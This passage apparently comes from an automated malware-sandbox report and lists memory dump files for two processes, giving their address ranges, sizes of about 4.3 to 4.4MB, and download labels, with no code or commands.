                        • memory/2944-502-0x0000000000900000-0x0000000000D52000-memory.dmp

                          Filesize

                          4.3MB

                          Download

                        • memory/2944-280-0x0000000000900000-0x0000000000D52000-memory.dmp

                          Filesize

                          4.3MB

                          Download

                        • memory/2944-279-0x0000000000900000-0x0000000000D52000-memory.dmp

                          Filesize

                          4.3MB

                          Download

                        • memory/2944-259-0x0000000000900000-0x0000000000D52000-memory.dmp

                          Filesize

                          4.3MB

                          Download

                        • memory/2996-307-0x0000000000400000-0x000000000086A000-memory.dmp

                          Filesize

                          4.4MB

                          Download

                        • memory/2996-361-0x0000000000400000-0x000000000086A000-memory.dmp

                          Filesize

                          4.4MB

                          Download

                        • memory/2996-784-0x0000000000400000-0x000000000086A000-memory.dmp

                          Filesize

                          4.4MB

                          Download

                        • memory/2996-744-0x0000000000400000-0x000000000086A000-memory.dmp

                          Filesize

                          4.4MB

                          Download

                        • memory/2996-567-0x0000000000400000-0x000000000086A000-memory.dmp

                          Filesize

                          4.4MB

                          Download

                        • memory/2996-720-0x0000000000400000-0x000000000086A000-memory.dmp

                          Filesize

                          4.4MB

                          Download

                        • memory/2996-98-0x0000000000400000-0x000000000086A000-memory.dmp

                          Filesize

                          4.4MB

                          Download